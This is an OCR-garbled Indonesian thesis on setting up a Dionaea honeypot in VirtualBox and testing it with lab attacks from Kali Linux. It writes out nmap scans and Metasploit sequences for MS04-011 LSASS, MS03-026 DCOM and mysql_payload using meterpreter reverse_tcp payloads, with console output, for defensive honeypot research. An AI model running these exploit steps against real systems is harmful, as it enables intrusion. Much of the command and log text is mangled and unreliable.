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ABSTRAK

Karena internet merupakan jaringan komputer yang bersifat publik, maka diperlukan
suatu usaha untuk menjamin keamanan informasi tersebut. Oleh karena itu, diperlukan
suatu pengimplementasian honeypot yang mampu membantu administrator jaringan
mendapat informasi tentang penyerangan dan membantu administrator jaringan untuk
melihat, mencatat, menganalisa.Honeypot merupakan salah satu paradigma terbaru dalam
keamanan jaringan yang bertujuan untuk mendeteksi kegiatan yang mencurigakan dan
menjebak penyerang serta mencatat aktifitas yang dilakukannya.Dionaea merupakan salah
satu kategori dari Honeypot low-interaction terbaru sebagai penerus Nephentes.Dionaea
membuat emulasi layanan palsu yang akan dijadikan sebagai target utama serangan.

Pada skripsi ini akan dibangun sebuah sistem Honeypot menggunakan Dionaea
secara virtual dengan perangkat keras yang terbatas yang dapat melakukan simulasi
terhadap kinerja sistem. Metode yang dilakukan adalah dengan melakukan studi literatur,
perancangan dan implementasi kemudian melakukan pengujian. Sistem yang dibangun akan
dilakukan pengujian simulasi penyerangan menggunakan teknik Port Scanning dan Exploit.
Kemudian akan dianalisa log yang dihasilkan dari ssmulasi penyerangan tersebui.
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ABSTRACT

Because the Internet is a computer network that is public, it would require an effort to
ensure the security of such information. Because of this, we need a honeypot implementation
that is able to help network administrators received information about the attack and help
network administrators to view, record, analyze. Honeypot is one of the latest in network
security paradigm that aims to detect suspicious activity and trap attackers and record
activities done.Dionaea is one category of low-interaction honeypot latest as successor
Nephentes.Dionaea making false emulation service that will serve as the main target of
attack.

In this thesis will be built a honeypot system using virtual Dionaea with limited
hardware that can perform simulations on the performance of the system. The method is to
do with the study of literature, design and implementation then do the testing. The systemwas
built to be carried out tests simulating attack using Port Scanning techniques and Exploit.
Then be analyzed logs generated from the attack simulation.
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|. PENDAHULUAN
1.1 Latar Belakang

Perkembangan teknologi internet
telah menjadikan salah satu media utama
pertukaraan infformasi.Tidak  semua
informasi  terbuka untuk umum.Karena
internet  merupakan jaringan komputer
yaang bersifat publik, maka diperlukan
suatu usaha untuk menjamin keamanan
informasi  tersebut.Di satu sisi, telah
banyak usaha-usaha untuk menjamin
keamanan infomasi tersebut.

Honeypot adalah suatu sistem yang
didesain menyerupai sistem asli dan dibuat
dengan tujuan untuk diserang atau
disusupi.Karena honeypot bukan
merrupakan sistem asli, maka hanya
sedikit atau bahkan tidak sama sekali
traffic jaringan yang berasal dari atau
menuju honeypot.Oleh karena itu, semau
traffic honeypot patut dicurigai sebagai
aktifitas yang tidak sah. Ha tersebut

memungkinkan untuk mel akukan
pendeteksian terhadap usaha-usaha
tersebut dengan cara  melakukan
pengawasan terhadap sistem

honeypot.Dionaea merupakan kategori
dari Low-Interaction honeypot terbaru
yang merupakan suksesor dari
Nephentes.Honeypot  dionaea  dengan
lisensi open source merupakan salah satu
varian dari beberapa low-interactioan
honeypot.seperti  Nephentes,HoneyD dan
lain-lain yang termasuk kategori honeypot
low-interaction.

Pada penelitian ini, maka akan
diimplementasikan low-interactioan
honeypot dionaea secara virtual.Honeypot
dionaea dilakukan secara virtua yang
bertujuan untuk menggunakan spesifikasi
perangkat keras yang terbatas.Yaitu
spesifikasi terbatas yang dimaksudkan
adalah tidak harus  banyak-banyak
menggunakan laptop atau komputer karena
tidak mencapal spesifikas tinggi pada
server.

2.1 Rumusan Maslah

Bagamana  mengimplementasikan
Honeypot sebagai solusi dalam mengatasi
masal ah pada keamanan jaringan?

Bagamana melakukan  andisa
kinerja honeypot menggunakan dionaea
dengan penggunaan spesifikasi perangkat
keras yang terbatas serta melakukan
simulasi serangan untuk mengukur kinerja
honeypot dionaea?

3.1 Batasan M asalah

Hanya membahas masalah
implementasi honeypot dengan
menggunakan  dionaea dan  Tidak
membahas Firewall.Pendlitian ini
Menggunakan Virtual Box untuk

mengembangkan sistem operasi  dan
menggunakan sistem operasi  KaliLinux
untuk mel akukan simulasi
penyerangan.Simulasi serangan
menggunakan tehknik port scanning dan
exploit terhadap port 135,port 3306 dan
port 445.

4.1 Tujuan

Tujuan dari pengerjaan proyek tugas
akhir ini adalah:

M engiplementasikan honeypot
dengan menggunakan  dionaea untuk
memperkuat sistem keamanan jaringan.
Untuk menguji kinerja honeypot dionaea
dengan melakukan simulasi serangan dan
honeypot dionaea mencatat segala aktifitas
serangan yang terjadi serta penggunaannya
secara viertua  dengan  spesifikasi
perangkat keras terbatas.

5.1 Manfaat

Dapat memberikan gambaran tentang
kinerja honeypot dengan mengunakan
dionaea sebagai sistem keamanan jaringan
komputer atau memperkuat  sistem
keamanan jaringan komputer terbaru
dengan mengimplementasikan keamanan
jaringan low-interaction honeypot secra
virtual dengan dionaea.

Manfaat lainnya dapat di jadikan
acuan untuk pengembangan selanjutnya



dengan menggunakan teknologi yang
berbeda-beda.

. TINJAUAN PUSTAKA
2.1 Honeypot

Honeypot adalah suatu cara untuk
menjebak atau menangka usaha-usaha
penggunaan tak terotorisasi dalam sebuah
sistem informasi. Honeypot merupakan
pengalih perhatian hacker, agar ia seolah-
olah berhasil membobol dan mengambil
data dari sebuah jaringan, padaha
sesungguhnya data tersebut tidak penting
dan lokasi tersebut sudah terisolir.

Secara singkat honeypot merupakan
sebuah sistem yang di bangun menyerupai
/ persis dengan sistem yang sesungguhnya,
dengan tujuan agar para attacker teralih
perhatiannya dari sistem utama yang akan
di serang, dan beralih menyerang ke sistem
pasu tersebut. Saat ini honeypot tidak
hanya berfungs atau bertujuan untuk
bertujuan menjebak  attacker  untuk
melakukan serangan ke server asli, namun
honeypot juga bermanfaat untuk para
sistem administrator atau security analyst,
untuk menganalisa aktifitas apa sgja yang
dilakukan oleh atacker / malware yang
terdapat di dalam sistem honeypot tersebut.

1. Low Interaction Honeypot

Low-interaction honeypot
merupakan honeypot yang didesain
untuk mengemulasikan service
(layanan) seperti pada server yang asli.
Misanya hanya service FTP, Telnet,
HTTP, dan service lainnya.

2. High Interaction Honeypot

High-interaction honeypot
merupakan tipe honeypot dimana
menggunakan keseluruhan resource
sistem, dimana honeypot ini benar-
benar persis seperti sistem yang adli.
Honeypot jenis ini bisa berupa satu
keseluruhan operating system

2.2 Dionaea

Menurut situs
(http://Dionaea.carnivore.it/),yang diakses

tanggal 17 Maret 2015).Dionaea adalah
sebuah low interaction honeypot yang
diciptakan sebagal pengganti Nepenthes.
Dionaea menggunakan python sebagai
bahasa scripting, menggunakan libemu
untuk mendeteksi
shellcodes,mendukungipv6 dan
tls.Dionaea bertujuan untuk mendapatkan
copydari malware. Software cenderung
memiliki bug, bug daam software
menawarkan layanan jaringan
(networ kser vices) untuk dapat
dieksploitasi,

Dionaea memiliki kemampuan untuk
mendetekss dan mengevaluas  payload
tersebut untuk dapat memperoleh salinan
copy dari malware.Untuk melakukannya,
Dionaea menggunakan libemu. Setelah
dionaea memperoleh lokasi file yang
diinginkan  penyerang/attacker  untuk
didownload dari shellcode, dionaeaakan
mencoba untuk mendownload file.
Protokol ke filedownload menggunakan
tftp dan ftp diimplementasikan di python
(ftp.py dan tftp.py) sebaga bagian dari
dionaea, men-download file melaui http
dilakukan daam  modul  curlyang
memanfaatkan kemampuan libcurl http.

1. METODE PENELITIAN

3.1 Konsep Pendlitian
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Gambar 3.1 Kerangka Konsep Penelitian




3.2 Topologi Jaringan
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Gambar 3.1 Topologi Jaringan

IV.HASIL DAN PEMBAHASAN
4.1 Konfiguras Dionaea

.Langkah pertama untuk
mengkonfigurasi Dionaea didalam
HoneyDrive adalah dengan membukan
terminal  atau  tekan  Ctrl+Alt+t
kemudian  ketikkan sudo su agar
memiliki hak akses
administrator.Berikut ini merupakan
perintah untuk menjalankan proses
Dionaea /opt/dionaea/bin/dionaca -l
all,-debug -L “*’

regtihoneycirnie:homelhenaydnve

heneydrivebhoneydrive:~§ sudo su
|[sudo] passward for honeydrive:
|rootshoneydrive: thone/haneydrived fopt/dionaeasbin/dionaea -1 all,-debu

gL

Dionzea Yersion 0.1.0
(Compiled on Linux/x€6 at Jul 16 2014 02:19:31 with gec 4.6.3
[Started on honeydrive running Linux/i636 release 3.2.0-67-generic

i[l?UEIUIS 09:22:32]
(29062015 09:22:32]
([19062015 09:22:32]
([29062015 09:22:32]

dionaea.c:639: glib version 2,314
dionaea.c:643: libev api version is 4.4
dionaea.c:658: libev backend is epoll
dionaea.c:661: libev default loop Lxdas5no

Gambar 4.1 Dionaea Berhasil Dijalankan
4.2 Konfiguras DionaeaFR

|root@honeydrive: /honeydrive/DionaeaFR# /honeydrive/DionaeaFR/nanage. py
|collectstatic

|You have requested to collect static files at the destination
|location as specified in your settings

Jhoneydrive/DionaeaFR/static

%This will overmrite existing files
|Are you sure you want to do this?

;rype 'yes' to continue, or 'no' to cancel: yes
|0 static files copied to */honeydrive/DionaeaFR/static', 288 unmodified

groot!huneydrive;fhoneydriuefﬂiunaea?ﬁ# Ihoneydrive/DionaeaFR/manage. py
|runserver 0.0.0.0:3000
|validating models...

|0 errors found

|June 29, 2015 - 08:27:17

|pjanga version 1.6.5, using settings 'DionaeaFR.settings
|Starting development server at http://0.0.0.0:8000/
|Quit the server with CONTROL-C.

Gambar 4.3 DionacaFR Berhasi|
Dijalankan

4.3 Pengujian Serangan
4.3.1 Port Scanning

Pengujian yang pertama yaitu
scanning port, melakukan proses
scanning port yang bertujuan  untuk
mengetahui port mana sga yang telah
terbuka. Menggunakan aplikas nmap
untuk mengetahui port-port mana sga
yang terbuka pada masing-masing
honeypot.

4.3.1.1 Nmap

Berikut adalah perintah untuk
melihat port yang terbuka dalam jaringan
dengan menggunakan Nmap adalah :
nmap 192.168.1.100-255

root@kali:-# nnap 192.168.1.161

Starting Nnap 6.47 ( hittp://omap.org ) at 2815-06-28 04:42 EDT
mass_dns: warning: Unable to determine any DMS servers. Reverse DNS is disabled.
Try using --system-dns or specify valld servers with --dns-servers
;Nmap scan report for 192,168.1.161

|Host is up (8.80846s latency).

|Not shown: 989 closed ports

PORT STATE SERVICE

Zl/tcp  open ftp

22f/tcp  open ssh

|42/tcp open  nameserver

|80/tep  open http

135/tcp  open msrpc

443/tcp open https

445/tcp opsn microsoft-ds

1433/tcp open  ms-sgl-s

EAEO/tcp open sip

Sa61/tep open sip-tls

2000/tcp opan  http-alt

MAC Address: BE:08:27:38:01:EC (Cadnus Computer Systems)

|Nmap done: 1 IP address (1 host up) scannzd in 0.73 secends



Gambar 4.5 Hasil Nmap pada IP
address 192.168.1.101

Pada gambar 4.5 diatas merupakan
hasil screen capture antarmuka Nmap pada
IP Address 192.168.1.101.Hasil yang
diberikan atau dihasil dengan melakukan
scanning port menggunakan Nmap berupa

a. Status koneksi pada perangkat keras.
b. Status port yang terbuka

c. Jenis layanan pada port

d. MAC address perangkat keras

Pada saat terjadinya serangan
Nmap, Dionaea mencatat semua kegiatan
yang dilakukan oleh Nmap.Tiap serangan
terhadap port tertentu diberikan attackid
sehingga dapat diketahui detail tiap
serangan dan jumlahnya.

nonaftep type: nane-»connect

[29062015 09.43.28] v connection.c:850. Could not connect un:/
J/tmp/p0f.sock:0 (Mo such file or directery)

[29062015 09:43:28] connection.c:4337: connection Ux9Yeidfas
connect/tcp/none [->] state: none-»close

(29062015 09:43:28] dionaea/logsql.py:637: reject connection fro
m 192.168.1.102:34321 to 192.168.1.101:1092 (id=3913)

[28062015 09:43:28] dionasa/logsql.py:680: attackid 3613 is done
(29062015 09:43:28] connection.c:4304: connection Ox9ecdees
noneftep type: none-»connect

[29062015 09:43:28] connection connection.c:850: Could not connect un:/
2/tmp/p0f.sock:0 (Mo such file or directery)

(290620715 09:43:28] connection.c:4337: connection Oxdefdfed
connect/tepsnone [-»] state. none-»close

(20062015 09:43:28] dionasa/logsql.py:€37: reject connecticn fro
m 192.7168.1.102:34321 to 192.168.1.107:3998 (id=3914)

[29062015 €9:43:28] dionaea/logsql.py:€89: attackid 3914 is done
[29062015 09:43:28] connection.c:4304: connection 0x9a€d148
noneftcp type: none->connect

[20062015 09:43:28] connection connection.c:350: Could not connect un:/
#/tmpspof.sock:0 (No such file or directery)

(20062015 09:43:28] connection.c:4337: connaction OxPe€di43
connect/tcp/none [->] state: none->close

[29062015 09:43:28] dionaea/logsql.py:€37: reject connecticn fro

Gambar 4.6 Hasil proses Dionaea
terhadap serangan Nmap

4.3.1.2 Unicornscan

Langkah selanjutnya dalam mencari
port UDP yang terbuka pada komputer
target adadah dengan menggunakan
Unicornscan. |IP address penyerang
192.168.1.102 dan IP address target
menjadi 192.168.1.101.

Berikut adalah perintah yang harus
dilakukan untuk mencari port UDP yang
terbuka pada IP address 192.168.1.101
dengan menggunakan Unicornscan adalah
unicornscan —i ethO —-E 192.168.1.101 -m
U

Perintah  -i  digunakan  untuk
mengena interface Ethernet card yang
digunakan. Perintah —E digunakan untuk
memproses port ICMP yangtertutup.
Perintah -m untuk menentukan
modepencarian port melaui  pemilihan
UDP (V) atau TCP

o LTS

Gambar 4.9 Hasil port scanning UDP
dengan Unicornscan

Pada gambar 4.8 diatas merupakan hasi|
screen capture antarmuka Unicornscan
yang mencari port UDP target yang
terbuka yaitu port 55208 pada IP address
192.168.0.101

4.3.2 Ekploitas Layanan

Sebelum mengeksekusi eksploit
layanan pada Metasploit
Framework,Perlu dipahami terlebih
dahalu perintah untuk menjalakan
metasploit framework tersebut yaitu
ketikkan msfconsole pada terminal
yang ada di Kali Linux tersebut.Berikut
gambar dari hasil msfconsole.

: /home fkal i

with Mezasplodz Fro




Gambar 4.11 Metal sploit Framework

Kemudian sebelum menjalan
Metalsploit Framework atau menjalankan
ekploitasi layanan terhadap port-port yang
terbuka aangkah baknya perhatikan
perintah  berikut.Perintah yang akan
digunakan adalah sebagai berikut:

Search <nama layanan>

Use <nama exploit>

Set <payload yang digunakan>
Set RHOST <P target>

Set LHOST <IP
penyer ang/attacker>

exploit
a. MS04 011 L SASS

Berikut ini merupakan skenario
atau rencana pengujian untuk menjalankan
exploit dengan Metasploit
Framework.Setalah melakukan scanning
dengan Nmap maka prot yang terbuka
yang akan diuji adalah port 445 atau
layanan SMB dengan menggunakan
MS04 011 LSASS  untuk skenario
penyerangan.Layanan ini bisa digunakan
untuk  file sharing atau  printer
sharing.Berikut ini merupakan perintah
yang dilakukan untuk menjalankan
ekploitast MS04_011 LSASS

Search smb
Use exploit/windows/smb/ms04_011 Isass

Set payload
windows/meter preter/reverse_tcp

Set RHOST 192.168.1.101
Set LHOST 192.168.1.102
exploit

Berikut ini adalah hasil dari perintah
yang digunakan diatas menggunkan
teemina  Kali  Linux yang telah
dikonfigurasi dimsfconsole:

rout@hkali; =

Fle bt Wew Szarch erap:l -slz

nsf > use exploit/windows/snb/ns0d B1L lsass

exploit(msd4 B1L lsass) > set payload windows/neterpreter/reverse_tcp
payload => ulndaus/Neterpreter /reverse tep

nst exploit(mstd B1L lsass) > set RHOST 192.168.1.101

RHOST => 182,168.1.101

nsf exploit(nséd B11 Lsass) > set LHOST 192,168.1,162

LHOST => 192,168.1,102

nsf exploit(nsBd BIL lsass) » explolt

'] Started reverse handler on 192.168.1.102: 4444

*] Binding to 39192836a-h18c-11d0-9ba-00c0aTd92ef5: 6. 0ancacn np:192, 168.1.10L[
lsarpe]. .

‘] Bound to 3319286a-h1Bc- LLd0-9bat- 00cO41d92ef5: 8, Ogncacn np:192.168.1.101[ \ls
arpel. ..

*] Getting 05 information...

Trying to exploit Windows 5.1

F;i explait(nsdd B11 lsass) > show options

)

odule options [exploit/windows/sub/ns4 OL1 lsass):
Nawe  Current Setting Required Description

The target address
Set the SME service port

RHOST 192,168.1.101  yes
RPORT 445 VES

Gambar 4.12 Eksploitasi
MS04 011 LSASS padalayanan SMB

port 445
b. MS03 026 DCOM
Berikut ini adalah percobaan

eksploitasi yang berikutnya adalah dengan
menggunakan MS03 026 DCOM  yang
menyerang port 135 atau layanan MSRPC
(Microsoft Remote Procedure
Calls).Berikut ini merrupakan perintah
yang digunakan untuk  melakukan
eksploitasi :

Search dcerpc

Use
exploit/windows/dcer pc/ms03_026 _dcom

Set payload
windows/meterpreter/reverse tcp

RHOST 192.168.1.101
LHOST 192.168.1.102
Exploit

Berikut ini adalah hasil dari perintah
yang digunakan diatas menggunkan
teremina Kali  Linux yang telah
dikonfiguras dimsfconsole:



r
| raatfkall: =

fie it Yew Ssarm Temua -zl

Insf > use exploit/windons/deerpe/ns03_026 deon

Inst exploit{ms83 626 dcom) > set payload windows/neterpreter/reverse tep
lpayload => windows/meterpreter/raverse_tep

im explolt{ns63 626 deom) > set RHOST 192.168.1.101

[RHOST => 192,168.1,101

Inst explolt{msd3 626 dcow) » set LHOST 192.168.1.102

!LHUST =» 192,168,1.102

Insf exploit(me63 626 deom) » exploit

[*] Started reverse handler on 192.168.1.162:4444

[*] Trying target Windews NT SP3-6a/2000/4P/2003 Universal..,

[*] Binding to 4d9fdah8-7dle-1lcf.961e-0020af6e7cs7:8.0ancaen 1y tep:102.168.1.1
aL[13] ...

[*] Bound to 4u9f4ahe-TdLe-Llct-85le-0020af6e7c7: 0. Bancacn ip tep:182, 168,1,101
[138] ...

|*] Sending exploit ...

lusf exploit(ms@3 626 dcom) » show options

Module options (exploit/windows/dcerpe/nsf3 826 deam):

Mane Current Setting Required Description

RHOST 192.188.1.101  yes The target address

Gambar 4.15 Eksploitasi
MS03 026 DCOM padalayanan MSRPC
port 135

Pada gambar 4.13 diatas dapat
terlihat target MS03_ 026 DCOM
melakukan serangan terhadap system
operas berbasis Windows dan melakukan
binding request terhadap UUID 4d9f4ab8-
7dic-1cf-86le-0020af6e7¢57 pada protocol

ncacn_ip_tcp sebagai antarmuka
|RemoteActivation.

Berikut ini adalah hasil dari gambarr
DionaeaFR terhadap eksploitas

MS03 026 DCOM padalayanan MSRPC
port 135 sebagai berikut:

4.3.2.3 MySQL _Payload

Pada pengujian selanjutnya adalah
dengan menggunakan eksploit
MsQL_Payload yang menggunkan port
3306.Berikut ini merupakan perintah yang
digunakan untuk skenario poengujian
eksploit, yaitu :

Search mysql

Use
exploit/windows/mysgl/mysql_payload

Set payload
windows/meterpreter/reverse tcp

RHOST 192.168.1.101
LHOST 192.168.1.102

Exploit

Berikut ini adalah hasil dari perintah
yang digunakan diatas menggunkan
teemina Kali  Linux yang telah
dikonfigurasi dimsfconsole:

ront@kali:

fle fot View et fermnal Hep

nsf exploit(esd3 026 deom] > use exploit/windows/mysql/mysql paylead

nsf exploit(mysql payload) > set payload windows/meterpreter/reverse tcp
payload => windows/neterpreter/reverse tcp

nsf exploit(mysgl payload) » set RHOST 182.168.1.101

RHOST => 192.166.1,101

nsf exploit(mysql payload) > set LHOST 192,168.1.102

LHOST => 192.168.1.102

nsf exploit(mysql payload) » exploit

[*] Started reverse handler on 192.168,1,167: 4434

-] Exploit failed [unreachable]: Rex::ConnectionRefussd The comnection was refu
sed by the remote host (192.168.1.101:3306) .

nsf exploit (mysql payload) > show options

Nodule optiens (exploit/windows/mysql/mysql payload):

Name Current Setting Reguired Description

FORCE_UDF_UPLOAD false no Always attempt to install a sys
exec|) mysql.function

PASSHORD ng The password for the specified u
sername

RHOST 192.168.1.181  yes The target address

RPORT 3306 ¥yes The target port

Gambar 4.17 Ekploitass MySQL_Payload
pada layanan MySQL port 3306

Berikut ini adalah tampilan dari log
web interfaces DionaeaFR setelah terjadi
serangan sebagal berikut:

b St oLl YR R S ST S T Y

[ e ] L Dowrluds Wb i Niwaw Exar

Gambar 4.18 Hasil DionaeaFR

Pada gambar 4.19 diatas terlihat
Dionaea berhasil menangkap  atau
mengenali serangan dari attacker vyaitu
terdapat 2 1ps (192.168.1.101 IP target dan
192.168.1.102 IP penyerang) dan 1.522
connections.



Pada pendlitian ini, Honeypot
Dionaea telah berhasil membuat layanan
palsu sebagal target serangan dan mencatat
serangan atau aktivitas yang dianggap
dapat membahayakan sistem
jaringan.Kemudian layanan palsu Dionaea
pada keamanan jaringan virtual, yaitu port
scanning dan eksploitasi layanan telah
berhasil diimplementasikan  dengan
menggunakan Kali Linux.Maka dari itu, di
sini peran user dalam  menggunakan
sistem yang penulis buat sangat penting,
agar gSistem ini mampu memberikan
keamanan buat jaringan komputer dari
serangan attacker.

Honeypot Dionaea mampu
menciptakan virtual server atau server
pasu yang membuat penyerang tertarik
untuk melakukan serangan terhadap
server padahal itu hanya informasi palsu
sehingga tidak memberikan dampak pada
server sebenarnya. Dari hasil pengujian
terbukti bahwatidak terjadi serangan pada
server asi dengan IP Address
192.168.1.100 tetapi serangan terjadi pada
virtual host yang diciptakan oleh Honeypot
Dionaea yaitu IP Address 192.168.1.101.
Dengan memanfaatkan sistem Honeypot
menggunakan Dionaea hasil dari
aktivitas serangan jaringan dapat terlihat
secara berkala dan dapat dianalisa.

V.KESIMPULAN DAN SARAN
5.1 Kesimpulan

Kesimpulan yang dapat diambil dalam
laporan tugas akhir ini adalah:

1. Honeypot Dionaea mampu
menciptakan virtual server atau
server palsu yang membuat
penyerang tertarik untuk melakukan
serangan terhadap server padaha itu
hanya informas palsu sehingga tidak
memberikan dampak pada server
sebenarnya. Kemudian layanan palsu
Dionaea pada keamanan jaringan
virtual, yaitu port scanning dan
eksploitasi layanan telah berhasil
diimplementasikan dengan
menggunakan Kali Linux.

2. Pada penditian ini, pengujian
terhadap sistem Honeypot Dionaea
berhasil diterapkan mengggunakan
layanan ekploitasi seperti
MySQL_Payload,

MS03_026_DCOM,
MS04 011 ISASS di port-port dan
host yang terbuka dan Honeypot
menggunakan  Dionaea  berhasil
mendeteksi atau memvisualisasikan
serangan yang dilakukan oleh attacker
mengggunakan layanan eksploitasi.

5.2 Saran

Pada serangan Honeypot Dionaea
masih dapat dilakukan beberapa macam
bentuk penyerangan serta pola serangan
lainnya terhadap layanan yang rentan,
seperti menggunakan aat penetration
testing berupa Armitage dan port terbuka
lainnya.

Impel ementasi jaringan dan
Honeypot Dionaea dengan kategori low-
interaction dapat dilakukan  secara
nonvirtual sehingga dapat mendapatkan
binary file yang dikirim oleh penyerang
dan pengimplementasinya bukan hanya
bersifat loka saa melainkan bersifat
public.

Pada  penelitian selanjutnya
implementass  Honeypot Dionaea bisa
diterapkan pada server adli atau pada suatu
permasalahan yang ada agar bisa diketahui
fungsi dari Honeypot tersebut.
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